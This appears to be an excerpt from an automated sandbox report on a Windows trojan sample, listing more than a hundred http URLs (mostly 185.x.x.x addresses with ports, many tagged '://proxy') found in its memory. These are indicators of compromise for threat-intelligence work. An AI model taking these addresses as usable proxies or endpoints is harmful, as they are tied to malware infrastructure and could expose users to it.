Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:14462
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C76F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:14462://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:26777
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:26777://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:26777x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:32284
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.129.250.183:32284://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC0E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.132.179.72:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.132.179.72:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD26000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.134.99.62:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.134.99.62:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.136.151.252:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.136.151.252:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.139.56.133:6961
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.139.56.133:6961://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.14.233.40:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.14.233.40:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.143.234.28:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.143.234.28:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.153.44.74:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBBA6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.153.44.74:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.157.47.236:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.157.47.236:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6553000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.158.114.14:26586
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.158.114.14:26586://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.16.12.137:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.16.12.137:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.161.186.82:54321
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.161.186.82:54321://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.161.186.83:54321
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.161.186.83:54321://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.128://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C697A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.128:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.154
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.154://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.154:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.170
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.170://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.170:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.48
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.48://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.228.48:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.112
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.112://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.112:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.127
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.127://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.127:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.215
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.215://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.215:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.70
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.70://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.229.70:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.230.178
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.230.178://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.230.178:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.230.201
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.230.201://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.230.201:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.231.226
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.231.226://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.231.226:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.231.254
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.231.254://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.231.254:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.95.125:10001
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162.95.125:10001://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7664000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.162H
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.165.46.208:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.165.46.208:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.169.181.11:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C70EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.169.181.11:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.169.181.12:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.169.181.12:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.169.181.14:4145
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.169.181.14:4145://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.171.24.5:29527
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.171.24.5:29527://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.129.13:7497
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.129.13:7497://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC8DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.212.233:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC8DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.172.212.233:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC36000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.174.137.30:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBC3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.174.137.30:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.18.198.163:55438
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.18.198.163:55438://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.18.198.253:14366
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.18.198.253:14366://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8029000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.189.112.133:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.189.112.133:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8DEA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.189.112.157:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C768B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.189.112.157:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.189.199.75:23500
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C677C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.189.199.75:23500://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.189.199.77:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.189.199.77:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.189.199.77:8080x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8454000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.19.4.22:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8415000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.19.4.22:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.198.2.113:11223
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.198.2.113:11223://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC554000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC5CF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.198.3.1:11223
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBEFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.198.3.1:11223://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.198.58.47:27890
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.198.58.47:27890://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD2A8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CD1F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.200.119.90:8443
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C82BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.200.119.90:8443://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.200.37.245:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.200.37.245:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.200.37.98:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.200.37.98:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC075000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.200.38.142:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.200.38.142:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.200.38.199:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBAEF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.200.38.199:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77FE000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.203.238.204:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.203.238.204:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.208.101.216:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.208.101.216:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.208.101.217:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7121000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.208.101.217:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.160.118:35010
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.160.118:35010://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C93BC000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.216.18.202:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C93BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.216.18.202:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.217.136.67:1337
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAD4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.217.136.67:1337://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.217.143.23
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.217.143.23://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.217.143.23:80
